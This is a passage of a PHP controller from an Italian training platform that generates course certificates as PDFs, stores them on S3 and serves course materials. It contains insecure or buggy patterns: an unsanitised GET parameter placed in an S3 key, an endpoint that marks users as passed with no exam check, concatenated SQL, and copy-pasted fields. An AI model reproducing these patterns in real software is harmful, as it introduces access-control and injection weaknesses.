    if(isset($_GET['method']) && $_GET['method'] == 'scaricacertificatolim'){

        echo "Il certificato non è ancora disponibile riprovare tra qualche giorno!";die;
        //public function scaricaCertificatoDattilografia($idsessione, $idcliente,  $tipo, $force=false){
        
        if($_SESSION['utente']['idclientedelcentro']){
            $tipo= 1;
        }else{
            $tipo= 0;
        }

        $utente = getUser($_SESSION['utente']['email'], $db);

        if($utente['lim_success'] && $utente['lim_success_code']) {   

            $awsConfig = AWSCONFIG;
            //print_r($utente);die;
            if($tipo==1){
              $idcliente=$utente['idclientedelcentro'];
              $codice_centro= "ETC-".$utente['idcentro']."IT";  
              $nome_file_certificato= "certificato_".$codice_centro."_".$idcliente;
              $keyname = $awsConfig['cliente']."/clientidelcentro/".$idcliente."/".$nome_file_certificato.".pdf";
            }else{
              $codice_centro= "ETC-00001IT";
              $idcliente=$utente['idcliente'];
              $nome_file_certificato= "certificato_".$codice_centro."_".$idcliente;
              $keyname = $awsConfig['cliente']."/clienti/".$idcliente."/".$nome_file_certificato.".pdf";
            }
            
            

            $s3Client = new Aws\S3\S3Client([
                'profile' => 'default',
                'region' => $awsConfig['region'],
                'version' => '2006-03-01'
            ]);

            $cmd = $s3Client->getCommand('GetObject', [
                'Bucket' => $awsConfig['bucket'],
                'Key' => $keyname
            ]);

            $request = $s3Client->createPresignedRequest($cmd, '+10 minutes');
            
            $presignedUrl = (string)$request->getUri();

            $force = false;

            // Check HTTP status code
            if(!$force){
                if (get_http_response_code($presignedUrl)==200) {
                    //se c'è il file lo mostro a video
                    header("Location: $presignedUrl");
                    die;
                }
            }

            //se non c'è il file su s3 genero   
            

            //recupero il logo del centro
            $path_logo = "/var/www/ascii/generator_pdf/loghi_centri/".$utente['idcentro'].".png";
            

                    // if($tipo==1 && file_exists($path_logo)){ //è un centro e ha il logo
                    //  //se è un centro con il logo
                 //        $path_word = "/var/www/ascii/generator_pdf/dattilografia_centro/word/";
                 //        $path_tmp = "/var/www/ascii/generator_pdf/tmp_dattilografia_centro/word/";
                 //        $url_qr_code_image = $path_word."media/image3.png";
                 //        $url_tmp_qr_code_image = $path_tmp."media/image3.png";   
                 //        //copio logo centro per generazione
                 //        unlink($path_tmp."media/image1.png");
                 //        copy($path_logo, $path_tmp."media/image1.png");

                 //        // Enter the name of directory 
              //        $pathdir = "/var/www/ascii/generator_pdf/tmp_dattilografia_centro/";

                    // }else{
                    //  //altrimenti
                 //        $path_word = "/var/www/ascii/generator_pdf/dattilografia/word/";
                 //        $path_tmp = "/var/www/ascii/generator_pdf/tmp_dattilografia/word/";
                 //        $url_qr_code_image = $path_word."media/image2.png";
                 //        $url_tmp_qr_code_image = $path_tmp."media/image2.png";
                 //        // Enter the name of directory 
              //            $pathdir = "/var/www/ascii/generator_pdf/tmp_dattilografia/";
            // }

            if($tipo==1 && file_exists($path_logo)){ //è un centro e ha il logo
                //se è un centro con il logo
                $path_word = "/var/www/ascii/generator_pdf/dattilografia_universal/word/";
                $path_tmp = "/var/www/ascii/generator_pdf/tmp_dattilografia_universal/word/";
                $url_qr_code_image = $path_word."media/image3.png";
                $url_tmp_qr_code_image = $path_tmp."media/image3.png";  
                //copio logo centro per generazione
                unlink($path_tmp."media/image1.png");
                copy($path_logo, $path_tmp."media/image1.png");
                chown($path_tmp."media/image1.png", "ec2-user");
                chmod($path_tmp."media/image1.png", 0775);

                // Enter the name of directory 
                $pathdir = "/var/www/ascii/generator_pdf/tmp_dattilografia_universal/";

            }else{
                //altrimenti
                $path_word = "/var/www/ascii/generator_pdf/dattilografia_universal/word/";
                $path_tmp = "/var/www/ascii/generator_pdf/tmp_dattilografia_universal/word/";
                $url_qr_code_image = $path_word."media/image3.png";
                $url_tmp_qr_code_image = $path_tmp."media/image3.png";
                //copio logo vuoto per generazione
                unlink($path_tmp."media/image1.png");
                $path_no_logo = "/var/www/ascii/generator_pdf/loghi_centri/nologo.png";
                copy($path_no_logo, $path_tmp."media/image1.png");
                chown($path_tmp."media/image1.png", "ec2-user");
                chmod($path_tmp."media/image1.png", 0775);
                // Enter the name of directory 
                $pathdir = "/var/www/ascii/generator_pdf/tmp_dattilografia_universal/";
            }




            $documento = $path_word."document.xml";
            $documento_tmp = $path_tmp."document.xml";
            $doc = file_get_contents($documento);
            
           
            $data_esame_superato_=strtotime($utente["dattilografia_date_success"]);
            switch (date( 'm', $data_esame_superato_ )) {
                case '01':
                    $data_esame_superato=date( 'd', $data_esame_superato_ ). " GENNAIO " .date( 'Y', $data_esame_superato_ );
                    break;
                case '02':
                    $data_esame_superato=date( 'd', $data_esame_superato_ ). " FEBBRAIO " .date( 'Y', $data_esame_superato_ );
                    break;
            
                case '03':
                    $data_esame_superato=date( 'd', $data_esame_superato_ ). " MARZO " .date( 'Y', $data_esame_superato_ );
                    break;
                case '04':
                    $data_esame_superato=date( 'd', $data_esame_superato_ ). " APRILE " .date( 'Y', $data_esame_superato_ );
                    break;
                case '05':
                    $data_esame_superato=date( 'd', $data_esame_superato_ ). " MAGGIO " .date( 'Y', $data_esame_superato_ );
                    break;
                case '06':
                    $data_esame_superato=date( 'd', $data_esame_superato_ ). " GIUGNO " .date( 'Y', $data_esame_superato_ );
                    break;
                case '07':
                    $data_esame_superato=date( 'd', $data_esame_superato_ ). " LUGLIO " .date( 'Y', $data_esame_superato_ );
                    break;
                case '08':
                    $data_esame_superato=date( 'd', $data_esame_superato_ ). " AGOSTO " .date( 'Y', $data_esame_superato_ );
                    break;
                case '09':
                    $data_esame_superato=date( 'd', $data_esame_superato_ ). " SETTEMBRE " .date( 'Y', $data_esame_superato_ );
                    break;
                case '10':
                    $data_esame_superato=date( 'd', $data_esame_superato_ ). " OTTOBRE " .date( 'Y', $data_esame_superato_ );
                    break;
                case '11':
                    $data_esame_superato=date( 'd', $data_esame_superato_ ). " NOVEMBRE " .date( 'Y', $data_esame_superato_ );
                    break;
                case '12':
                    $data_esame_superato=date( 'd', $data_esame_superato_ ). " DICEMBRE " .date( 'Y', $data_esame_superato_ );
                    break;
            
            }
            
            $codice_certificato=$utente["dattilografia_success_code"];
            $link_verifica_certificato = "https://www.asciiformazione.it/verifica-certificato?code=".$codice_certificato;

            $doc = str_replace("nome_cognome", strtoupper($utente['ragioneSociale']), $doc);
            $doc = str_replace("codice_fiscale", strtoupper($utente['codiceFiscale']), $doc);
            $doc = str_replace("data_esame", $data_esame_superato, $doc);
            $doc = str_replace("codice_certificato", $codice_certificato, $doc);
            $doc = str_replace("codice_ce", $codice_centro, $doc);
            $doc = str_replace("linkverificacert", $link_verifica_certificato, $doc);

            $qr_code_generato = false;
            //genero codice qr
            for ($i=0; $i < 10; $i++) { 
                if($qr_code_generato === false){
                    $qr_code_generato = file_get_contents('https://quickchart.io/chart?chs=300x300&cht=qr&chld=L|0&chl=http://www.asciiformazione.it/verifica-certificato?code='.$codice_certificato);
                }else{
                    break;
                }
            }
            

            //rimuovo old
            unlink($url_tmp_qr_code_image);
            unlink($documento_tmp);

            

            //aggiungo a certificato tmp
            file_put_contents($url_tmp_qr_code_image, $qr_code_generato);
            chown($url_tmp_qr_code_image, "ec2-user");
            chmod($url_tmp_qr_code_image, 0775);
            file_put_contents($documento_tmp, $doc);
            chown($documento_tmp, "ec2-user");
            chmod($documento_tmp, 0775);

            
            //zip

              
              
            // Enter the name to creating zipped directory 
            $zipcreated = "/var/www/ascii/generator_pdf/".$nome_file_certificato.".zip"; 
            $wordrename = "/var/www/ascii/generator_pdf/".$nome_file_certificato.".docx"; 
            $pdfrename = "/var/www/ascii/generator_pdf/".$nome_file_certificato.".pdf"; 


               
            if(!zippami($pathdir, $zipcreated)){
                echo "Errore nella generazione del certificato zip, si prega di riprovare!"; die;
            }


            
            rename($zipcreated, $wordrename);

            chown($wordrename, "ec2-user");
            chmod($wordrename, 0775);

            unlink($nome_file_certificato.".zip");
            //genera pdf
            include '../app/helpers/converterPdf.php';

            $converter = new OfficeConverter($wordrename, null, "/var/www/ascii/generator_pdf/libreoffice/program/soffice.bin");
            $converter->convertTo($pdfrename); //generates pdf file in same directory as test-file.docx
            //  $converter->convertTo('output-file.html'); //generates html file in same directory as test-file.docx

            //to specify output directory, specify it as the second argument to the constructor
            //  $converter = new OfficeConverter($wordrename, $pathdir);

            chown($pdfrename, "ec2-user");
            chmod($pdfrename, 0775);

            if(!$converter){
                echo "Errore in conversione"; die;
            }
            

            unlink($wordrename);

            
            //upload s3
            if($tipo){
                $url = putFileS3Private("clientidelcentro", $idcliente, $pdfrename); 
            }else{
                $url = putFileS3Private("clienti", $idcliente, $pdfrename);  
            }

            $s3Client = new Aws\S3\S3Client([
                'profile' => 'default',
                'region' => $awsConfig['region'],
                'version' => '2006-03-01'
            ]);

            $cmd = $s3Client->getCommand('GetObject', [
                'Bucket' => $awsConfig['bucket'],
                'Key' => $keyname
            ]);

            $request = $s3Client->createPresignedRequest($cmd, '+10 minutes');
            
            $presignedUrl = (string)$request->getUri();
            
            if($presignedUrl){
                unlink($pdfrename);
                header("Location: $presignedUrl");
                die;
            }else{
                echo "Errore nella generazione del certificato, si prega di riprovare!"; die;
            }           

        }else{
            header("Location: error_esame.php");
            

        }


    }

    if(isset($_GET['method']) && $_GET['method'] == 'docdattilografia'){

        if($_SESSION['utente']['idclientedelcentro']){$tipo= 1;}else{$tipo= 0;}
        
        $utente = getUser($_SESSION['utente']['email'], $db);

        if($utente['dattilografia']) {   

            
            $awsConfig = AWSCONFIG;
            
            //$sdk = new Aws\Sdk($awsConfig);
            //$bucket = $awsConfig['bucket'];
            
            //$s3 = $sdk->createS3();
            $keyname = "ascii/documentazione_corsi/dattilografia/ASCII-FORMAZIONE-CORSO-DATTILOGRAFIA-ADDESTRAMENTO-PROFESSIONALE.pdf";
            //echo $keyname;
            $s3Client = new Aws\S3\S3Client([
                'profile' => 'default',
                'region' => $awsConfig['region'],
                'version' => '2006-03-01'
            ]);

            $cmd = $s3Client->getCommand('GetObject', [
                'Bucket' => $awsConfig['bucket'],
                'Key' => $keyname
            ]);

            $request = $s3Client->createPresignedRequest($cmd, '+10 minutes');
            echo "tre";
            $presignedUrl = (string)$request->getUri();

            header("Location: $presignedUrl");
            die;
            

        }else{
            header("Location: error.php");
            

        }


        
    }

    if(isset($_GET['method']) && $_GET['method'] == 'docdsga'){

        if($_SESSION['utente']['idclientedelcentro']){$tipo= 1;}else{$tipo= 0;}
        
        $utente = getUser($_SESSION['utente']['email'], $db);

        if($utente['dsga']) {   

            
            $awsConfig = AWSCONFIG;
            
            //$sdk = new Aws\Sdk($awsConfig);
            //$bucket = $awsConfig['bucket'];
            
            //$s3 = $sdk->createS3();
            if(isset($_GET['cartella'])){
                $keyname = "ascii/documentazione_corsi/dsga/".$_GET['cartella']."/".$_GET['cartella'].".pdf";
            }else{
                $keyname = "ascii/documentazione_corsi/dsga/Introduzione.pdf";
            }
            //echo $keyname;
            $s3Client = new Aws\S3\S3Client([
                'profile' => 'default',
                'region' => $awsConfig['region'],
                'version' => '2006-03-01'
            ]);

            $cmd = $s3Client->getCommand('GetObject', [
                'Bucket' => $awsConfig['bucket'],
                'Key' => $keyname
            ]);

            $request = $s3Client->createPresignedRequest($cmd, '+10 minutes');
            echo "tre";
            $presignedUrl = (string)$request->getUri();

            header("Location: $presignedUrl");
            die;
            

        }else{
            header("Location: error.php");
            

        }


        
    }

    if(isset($_GET['method']) && $_GET['method'] == 'scaricacertificatotablet'){

        echo "Il certificato non è ancora disponibile riprovare tra qualche giorno!";die;
        //public function scaricaCertificatoDattilografia($idsessione, $idcliente,  $tipo, $force=false){
        
        if($_SESSION['utente']['idclientedelcentro']){
            $tipo= 1;
        }else{
            $tipo= 0;
        }

        $utente = getUser($_SESSION['utente']['email'], $db);

        if($utente['tablet_success'] && $utente['tablet_success_code']) {   

            $awsConfig = AWSCONFIG;
            //print_r($utente);die;
            if($tipo==1){
              $idcliente=$utente['idclientedelcentro'];
              $codice_centro= "ETC-".$utente['idcentro']."IT";  
              $nome_file_certificato= "certificato_".$codice_centro."_".$idcliente;
              $keyname = $awsConfig['cliente']."/clientidelcentro/".$idcliente."/".$nome_file_certificato.".pdf";
            }else{
              $codice_centro= "ETC-00001IT";
              $idcliente=$utente['idcliente'];
              $nome_file_certificato= "certificato_".$codice_centro."_".$idcliente;
              $keyname = $awsConfig['cliente']."/clienti/".$idcliente."/".$nome_file_certificato.".pdf";
            }
            
            

            $s3Client = new Aws\S3\S3Client([
                'profile' => 'default',
                'region' => $awsConfig['region'],
                'version' => '2006-03-01'
            ]);

            $cmd = $s3Client->getCommand('GetObject', [
                'Bucket' => $awsConfig['bucket'],
                'Key' => $keyname
            ]);

            $request = $s3Client->createPresignedRequest($cmd, '+10 minutes');
            
            $presignedUrl = (string)$request->getUri();

            $force = false;

            // Check HTTP status code
            if(!$force){
                if (get_http_response_code($presignedUrl)==200) {
                    //se c'è il file lo mostro a video
                    header("Location: $presignedUrl");
                    die;
                }
            }

            //se non c'è il file su s3 genero   
            

            //recupero il logo del centro
            $path_logo = "/var/www/ascii/generator_pdf/loghi_centri/".$utente['idcentro'].".png";
            

                    // if($tipo==1 && file_exists($path_logo)){ //è un centro e ha il logo
                    //  //se è un centro con il logo
                 //        $path_word = "/var/www/ascii/generator_pdf/dattilografia_centro/word/";
                 //        $path_tmp = "/var/www/ascii/generator_pdf/tmp_dattilografia_centro/word/";
                 //        $url_qr_code_image = $path_word."media/image3.png";
                 //        $url_tmp_qr_code_image = $path_tmp."media/image3.png";   
                 //        //copio logo centro per generazione
                 //        unlink($path_tmp."media/image1.png");
                 //        copy($path_logo, $path_tmp."media/image1.png");

                 //        // Enter the name of directory 
              //        $pathdir = "/var/www/ascii/generator_pdf/tmp_dattilografia_centro/";

                    // }else{
                    //  //altrimenti
                 //        $path_word = "/var/www/ascii/generator_pdf/dattilografia/word/";
                 //        $path_tmp = "/var/www/ascii/generator_pdf/tmp_dattilografia/word/";
                 //        $url_qr_code_image = $path_word."media/image2.png";
                 //        $url_tmp_qr_code_image = $path_tmp."media/image2.png";
                 //        // Enter the name of directory 
              //            $pathdir = "/var/www/ascii/generator_pdf/tmp_dattilografia/";
            // }

            if($tipo==1 && file_exists($path_logo)){ //è un centro e ha il logo
                //se è un centro con il logo
                $path_word = "/var/www/ascii/generator_pdf/dattilografia_universal/word/";
                $path_tmp = "/var/www/ascii/generator_pdf/tmp_dattilografia_universal/word/";
                $url_qr_code_image = $path_word."media/image3.png";
                $url_tmp_qr_code_image = $path_tmp."media/image3.png";  
                //copio logo centro per generazione
                unlink($path_tmp."media/image1.png");
                copy($path_logo, $path_tmp."media/image1.png");
                chown($path_tmp."media/image1.png", "ec2-user");
                chmod($path_tmp."media/image1.png", 0775);

                // Enter the name of directory 
                $pathdir = "/var/www/ascii/generator_pdf/tmp_dattilografia_universal/";

            }else{
                //altrimenti
                $path_word = "/var/www/ascii/generator_pdf/dattilografia_universal/word/";
                $path_tmp = "/var/www/ascii/generator_pdf/tmp_dattilografia_universal/word/";
                $url_qr_code_image = $path_word."media/image3.png";
                $url_tmp_qr_code_image = $path_tmp."media/image3.png";
                //copio logo vuoto per generazione
                unlink($path_tmp."media/image1.png");
                $path_no_logo = "/var/www/ascii/generator_pdf/loghi_centri/nologo.png";
                copy($path_no_logo, $path_tmp."media/image1.png");
                chown($path_tmp."media/image1.png", "ec2-user");
                chmod($path_tmp."media/image1.png", 0775);
                // Enter the name of directory 
                $pathdir = "/var/www/ascii/generator_pdf/tmp_dattilografia_universal/";
            }




            $documento = $path_word."document.xml";
            $documento_tmp = $path_tmp."document.xml";
            $doc = file_get_contents($documento);
            
           
            $data_esame_superato_=strtotime($utente["dattilografia_date_success"]);
            switch (date( 'm', $data_esame_superato_ )) {
                case '01':
                    $data_esame_superato=date( 'd', $data_esame_superato_ ). " GENNAIO " .date( 'Y', $data_esame_superato_ );
                    break;
                case '02':
                    $data_esame_superato=date( 'd', $data_esame_superato_ ). " FEBBRAIO " .date( 'Y', $data_esame_superato_ );
                    break;
            
                case '03':
                    $data_esame_superato=date( 'd', $data_esame_superato_ ). " MARZO " .date( 'Y', $data_esame_superato_ );
                    break;
                case '04':
                    $data_esame_superato=date( 'd', $data_esame_superato_ ). " APRILE " .date( 'Y', $data_esame_superato_ );
                    break;
                case '05':
                    $data_esame_superato=date( 'd', $data_esame_superato_ ). " MAGGIO " .date( 'Y', $data_esame_superato_ );
                    break;
                case '06':
                    $data_esame_superato=date( 'd', $data_esame_superato_ ). " GIUGNO " .date( 'Y', $data_esame_superato_ );
                    break;
                case '07':
                    $data_esame_superato=date( 'd', $data_esame_superato_ ). " LUGLIO " .date( 'Y', $data_esame_superato_ );
                    break;
                case '08':
                    $data_esame_superato=date( 'd', $data_esame_superato_ ). " AGOSTO " .date( 'Y', $data_esame_superato_ );
                    break;
                case '09':
                    $data_esame_superato=date( 'd', $data_esame_superato_ ). " SETTEMBRE " .date( 'Y', $data_esame_superato_ );
                    break;
                case '10':
                    $data_esame_superato=date( 'd', $data_esame_superato_ ). " OTTOBRE " .date( 'Y', $data_esame_superato_ );
                    break;
                case '11':
                    $data_esame_superato=date( 'd', $data_esame_superato_ ). " NOVEMBRE " .date( 'Y', $data_esame_superato_ );
                    break;
                case '12':
                    $data_esame_superato=date( 'd', $data_esame_superato_ ). " DICEMBRE " .date( 'Y', $data_esame_superato_ );
                    break;
            
            }
            
            $codice_certificato=$utente["dattilografia_success_code"];
            $link_verifica_certificato = "https://www.asciiformazione.it/verifica-certificato?code=".$codice_certificato;

            $doc = str_replace("nome_cognome", strtoupper($utente['ragioneSociale']), $doc);
            $doc = str_replace("codice_fiscale", strtoupper($utente['codiceFiscale']), $doc);
            $doc = str_replace("data_esame", $data_esame_superato, $doc);
            $doc = str_replace("codice_certificato", $codice_certificato, $doc);
            $doc = str_replace("codice_ce", $codice_centro, $doc);
            $doc = str_replace("linkverificacert", $link_verifica_certificato, $doc);

            $qr_code_generato = false;
            //genero codice qr
            for ($i=0; $i < 10; $i++) { 
                if($qr_code_generato === false){
                    $qr_code_generato = file_get_contents('https://quickchart.io/chart?chs=300x300&cht=qr&chld=L|0&chl=http://www.asciiformazione.it/verifica-certificato?code='.$codice_certificato);
                }else{
                    break;
                }
            }
            

            //rimuovo old
            unlink($url_tmp_qr_code_image);
            unlink($documento_tmp);

            

            //aggiungo a certificato tmp
            file_put_contents($url_tmp_qr_code_image, $qr_code_generato);
            chown($url_tmp_qr_code_image, "ec2-user");
            chmod($url_tmp_qr_code_image, 0775);
            file_put_contents($documento_tmp, $doc);
            chown($documento_tmp, "ec2-user");
            chmod($documento_tmp, 0775);

            
            //zip

              
              
            // Enter the name to creating zipped directory 
            $zipcreated = "/var/www/ascii/generator_pdf/".$nome_file_certificato.".zip"; 
            $wordrename = "/var/www/ascii/generator_pdf/".$nome_file_certificato.".docx"; 
            $pdfrename = "/var/www/ascii/generator_pdf/".$nome_file_certificato.".pdf"; 


               
            if(!zippami($pathdir, $zipcreated)){
                echo "Errore nella generazione del certificato zip, si prega di riprovare!"; die;
            }


            
            rename($zipcreated, $wordrename);

            chown($wordrename, "ec2-user");
            chmod($wordrename, 0775);

            unlink($nome_file_certificato.".zip");
            //genera pdf
            include '../app/helpers/converterPdf.php';

            $converter = new OfficeConverter($wordrename, null, "/var/www/ascii/generator_pdf/libreoffice/program/soffice.bin");
            $converter->convertTo($pdfrename); //generates pdf file in same directory as test-file.docx
            //  $converter->convertTo('output-file.html'); //generates html file in same directory as test-file.docx

            //to specify output directory, specify it as the second argument to the constructor
            //  $converter = new OfficeConverter($wordrename, $pathdir);

            chown($pdfrename, "ec2-user");
            chmod($pdfrename, 0775);

            if(!$converter){
                echo "Errore in conversione"; die;
            }
            

            unlink($wordrename);

            
            //upload s3
            if($tipo){
                $url = putFileS3Private("clientidelcentro", $idcliente, $pdfrename); 
            }else{
                $url = putFileS3Private("clienti", $idcliente, $pdfrename);  
            }

            $s3Client = new Aws\S3\S3Client([
                'profile' => 'default',
                'region' => $awsConfig['region'],
                'version' => '2006-03-01'
            ]);

            $cmd = $s3Client->getCommand('GetObject', [
                'Bucket' => $awsConfig['bucket'],
                'Key' => $keyname
            ]);

            $request = $s3Client->createPresignedRequest($cmd, '+10 minutes');
            
            $presignedUrl = (string)$request->getUri();
            
            if($presignedUrl){
                unlink($pdfrename);
                header("Location: $presignedUrl");
                die;
            }else{
                echo "Errore nella generazione del certificato, si prega di riprovare!"; die;
            }           

        }else{
            header("Location: error_esame.php");
            

        }


    }

    if(isset($_GET['method']) && $_GET['method'] == 'doctablet'){

        if($_SESSION['utente']['idclientedelcentro']){$tipo= 1;}else{$tipo= 0;}
        $utente = getUser($_SESSION['utente']['email'], $db);

        if($utente['tablet']) {   

            
            $awsConfig = AWSCONFIG;
            
            //$sdk = new Aws\Sdk($awsConfig);
            //$bucket = $awsConfig['bucket'];
            
            //$s3 = $sdk->createS3();
            $keyname = "ascii/documentazione_corsi/tablet/MATERIALE-DIDATTICO-TABLET.pdf";
            //echo $keyname;
            $s3Client = new Aws\S3\S3Client([
                'profile' => 'default',
                'region' => $awsConfig['region'],
                'version' => '2006-03-01'
            ]);

            $cmd = $s3Client->getCommand('GetObject', [
                'Bucket' => $awsConfig['bucket'],
                'Key' => $keyname
            ]);

            $request = $s3Client->createPresignedRequest($cmd, '+10 minutes');
            echo "tre";
            $presignedUrl = (string)$request->getUri();

            header("Location: $presignedUrl");
            die;
            

        }else{
            header("Location: error.php");
            

        }


        
    }

    if(isset($_GET['method']) && $_GET['method'] == 'scaricacertificatosicurezza'){

        //echo "Il certificato non è ancora disponibile riprovare tra qualche giorno!";die;
        //public function scaricaCertificatoDattilografia($idsessione, $idcliente,  $tipo, $force=false){
        
        /*if($_SESSION['utente']['idclientedelcentro']){
            $tipo= 1;
        }else{*/
            $tipo= 0;
        //}

        $utente = getUser($_SESSION['utente']['email'], $db);

        if($utente['sicurezza_success']==0) {   
            $db->query("UPDATE cliente SET sicurezza_date_success=NOW(), sicurezza_success=1, sicurezza_success_code='".random_strings(8)."' WHERE idcliente=".$utente['idcliente']);
        }

        if($utente['sicurezza_success'] && $utente['sicurezza_success_code']) {   
            
            $awsConfig = AWSCONFIG;
            //print_r($utente);die;
         
              $codice_centro= "ITI-0000360IT";
              $idcliente=$utente['idcliente'];
              $nome_file_certificato= "certificato_".$codice_centro."_".$idcliente;
              $keyname = $awsConfig['cliente']."/clienti/".$idcliente."/".$nome_file_certificato.".pdf";
            
            
            

            $s3Client = new Aws\S3\S3Client([
                'profile' => 'default',
                'region' => $awsConfig['region'],
                'version' => '2006-03-01'
            ]);

            $cmd = $s3Client->getCommand('GetObject', [
                'Bucket' => $awsConfig['bucket'],
                'Key' => $keyname
            ]);

            $request = $s3Client->createPresignedRequest($cmd, '+10 minutes');
            
            $presignedUrl = (string)$request->getUri();

            $force = false;

            // Check HTTP status code
            if(!$force){
                if (get_http_response_code($presignedUrl)==200) {
                    //se c'è il file lo mostro a video
                    header("Location: $presignedUrl");
                    die;
                }
            }

            //se non c'è il file su s3 genero   
            

            //recupero il logo del centro
            $path_logo = "/var/www/ascii/generator_pdf/loghi_centri/".$utente['idcentro'].".png";
            

                    // if($tipo==1 && file_exists($path_logo)){ //è un centro e ha il logo
                    //  //se è un centro con il logo
                 //        $path_word = "/var/www/ascii/generator_pdf/dattilografia_centro/word/";
                 //        $path_tmp = "/var/www/ascii/generator_pdf/tmp_dattilografia_centro/word/";
                 //        $url_qr_code_image = $path_word."media/image3.png";
                 //        $url_tmp_qr_code_image = $path_tmp."media/image3.png";   
                 //        //copio logo centro per generazione
                 //        unlink($path_tmp."media/image1.png");
                 //        copy($path_logo, $path_tmp."media/image1.png");

                 //        // Enter the name of directory 
              //        $pathdir = "/var/www/ascii/generator_pdf/tmp_dattilografia_centro/";

                    // }else{
                    //  //altrimenti
                 //        $path_word = "/var/www/ascii/generator_pdf/dattilografia/word/";
                 //        $path_tmp = "/var/www/ascii/generator_pdf/tmp_dattilografia/word/";
                 //        $url_qr_code_image = $path_word."media/image2.png";
                 //        $url_tmp_qr_code_image = $path_tmp."media/image2.png";
                 //        // Enter the name of directory 
              //            $pathdir = "/var/www/ascii/generator_pdf/tmp_dattilografia/";
            // }

         /*  if($tipo==1 && file_exists($path_logo)){ //è un centro e ha il logo
                //se è un centro con il logo
                $path_word = "/var/www/ascii/generator_pdf/sicurezza_universal/word/";
                $path_tmp = "/var/www/ascii/generator_pdf/tmp_sicurezza_universal/word/";
                $url_qr_code_image = $path_word."media/image3.png";
                $url_tmp_qr_code_image = $path_tmp."media/image3.png";  
                //copio logo centro per generazione
                unlink($path_tmp."media/image1.png");
                copy($path_logo, $path_tmp."media/image1.png");
                chown($path_tmp."media/image1.png", "ec2-user");
                chmod($path_tmp."media/image1.png", 0775);

                // Enter the name of directory 
                $pathdir = "/var/www/ascii/generator_pdf/tmp_sicurezza_universal/";

            }else{*/
                //altrimenti
                $path_word = "/var/www/ascii/generator_pdf/sicurezza_universal/word/";
                $path_tmp = "/var/www/ascii/generator_pdf/tmp_sicurezza_universal/word/";
                $url_qr_code_image = $path_word."media/image1.png";
                $url_tmp_qr_code_image = $path_tmp."media/image1.png";
                //copio logo vuoto per generazione
                //unlink($path_tmp."media/image1.png");
                
                // $path_no_logo = "/var/www/ascii/generator_pdf/loghi_centri/nologo.png";
                // copy($path_no_logo, $path_tmp."media/image1.png");
                // chown($path_tmp."media/image1.png", "ec2-user");
                // chmod($path_tmp."media/image1.png", 0775);
                // // Enter the name of directory 
                $pathdir = "/var/www/ascii/generator_pdf/tmp_sicurezza_universal/";
          //  }


            //echo "ok"; die;

            $documento = $path_word."document.xml";
            $documento_tmp = $path_tmp."document.xml";
            $doc = file_get_contents($documento);
            
           
            $data_esame_superato_=strtotime($utente["sicurezza_date_success"]);
            switch (date( 'm', $data_esame_superato_ )) {
                case '01':
                    $data_esame_superato=date( 'd', $data_esame_superato_ ). " GENNAIO " .date( 'Y', $data_esame_superato_ );
                    break;
                case '02':
                    $data_esame_superato=date( 'd', $data_esame_superato_ ). " FEBBRAIO " .date( 'Y', $data_esame_superato_ );
                    break;
            
                case '03':
                    $data_esame_superato=date( 'd', $data_esame_superato_ ). " MARZO " .date( 'Y', $data_esame_superato_ );
                    break;
                case '04':
                    $data_esame_superato=date( 'd', $data_esame_superato_ ). " APRILE " .date( 'Y', $data_esame_superato_ );
                    break;
                case '05':
                    $data_esame_superato=date( 'd', $data_esame_superato_ ). " MAGGIO " .date( 'Y', $data_esame_superato_ );
                    break;
                case '06':
                    $data_esame_superato=date( 'd', $data_esame_superato_ ). " GIUGNO " .date( 'Y', $data_esame_superato_ );
                    break;
                case '07':
                    $data_esame_superato=date( 'd', $data_esame_superato_ ). " LUGLIO " .date( 'Y', $data_esame_superato_ );
                    break;
                case '08':
                    $data_esame_superato=date( 'd', $data_esame_superato_ ). " AGOSTO " .date( 'Y', $data_esame_superato_ );
                    break;
                case '09':
                    $data_esame_superato=date( 'd', $data_esame_superato_ ). " SETTEMBRE " .date( 'Y', $data_esame_superato_ );
                    break;
                case '10':
                    $data_esame_superato=date( 'd', $data_esame_superato_ ). " OTTOBRE " .date( 'Y', $data_esame_superato_ );
                    break;
                case '11':
                    $data_esame_superato=date( 'd', $data_esame_superato_ ). " NOVEMBRE " .date( 'Y', $data_esame_superato_ );
                    break;
                case '12':
                    $data_esame_superato=date( 'd', $data_esame_superato_ ). " DICEMBRE " .date( 'Y', $data_esame_superato_ );
                    break;
            
            }
            
            $codice_certificato=$utente["sicurezza_success_code"];
            $link_verifica_certificato = "https://www.formazione-360.it/verifica-certificato?code=".$codice_certificato;

            $doc = str_replace("nome_cognome", strtoupper($utente['ragioneSociale']), $doc);
            $doc = str_replace("codice_fiscale", strtoupper($utente['codiceFiscale']), $doc);
            $doc = str_replace("data_esame", $data_esame_superato, $doc);
            $doc = str_replace("codice_certificato", $codice_certificato, $doc);
            $doc = str_replace("codice_ce", $codice_centro, $doc);
            $doc = str_replace("linkverificacert", $link_verifica_certificato, $doc);

            $qr_code_generato = false;
            //genero codice qr
            for ($i=0; $i < 10; $i++) { 
                if($qr_code_generato === false){
                    $qr_code_generato = file_get_contents('https://quickchart.io/chart?chs=300x300&cht=qr&chld=L|0&chl=http://www.formazione-360.it/verifica-certificato?code='.$codice_certificato);
                }else{
                    break;
                }
            }
            

            //rimuovo old
            unlink($url_tmp_qr_code_image);
            unlink($documento_tmp);

            

            //aggiungo a certificato tmp
            file_put_contents($url_tmp_qr_code_image, $qr_code_generato);
            chown($url_tmp_qr_code_image, "ec2-user");
            chmod($url_tmp_qr_code_image, 0775);
            file_put_contents($documento_tmp, $doc);
            chown($documento_tmp, "ec2-user");
            chmod($documento_tmp, 0775);

            
            //zip

              
              
            // Enter the name to creating zipped directory 
            $zipcreated = "/var/www/ascii/generator_pdf/".$nome_file_certificato.".zip"; 
            $wordrename = "/var/www/ascii/generator_pdf/".$nome_file_certificato.".docx"; 
            $pdfrename = "/var/www/ascii/generator_pdf/".$nome_file_certificato.".pdf"; 


               
            if(!zippami($pathdir, $zipcreated)){
                echo "Errore nella generazione del certificato zip, si prega di riprovare!"; die;
            }


            
            rename($zipcreated, $wordrename);

            chown($wordrename, "ec2-user");
            chmod($wordrename, 0775);

            unlink($nome_file_certificato.".zip");
            //genera pdf
            include '../app/helpers/converterPdf.php';

            $converter = new OfficeConverter($wordrename, null, "/var/www/ascii/generator_pdf/libreoffice/program/soffice.bin");
            $converter->convertTo($pdfrename); //generates pdf file in same directory as test-file.docx
            //  $converter->convertTo('output-file.html'); //generates html file in same directory as test-file.docx

            //to specify output directory, specify it as the second argument to the constructor
            //  $converter = new OfficeConverter($wordrename, $pathdir);

            chown($pdfrename, "ec2-user");
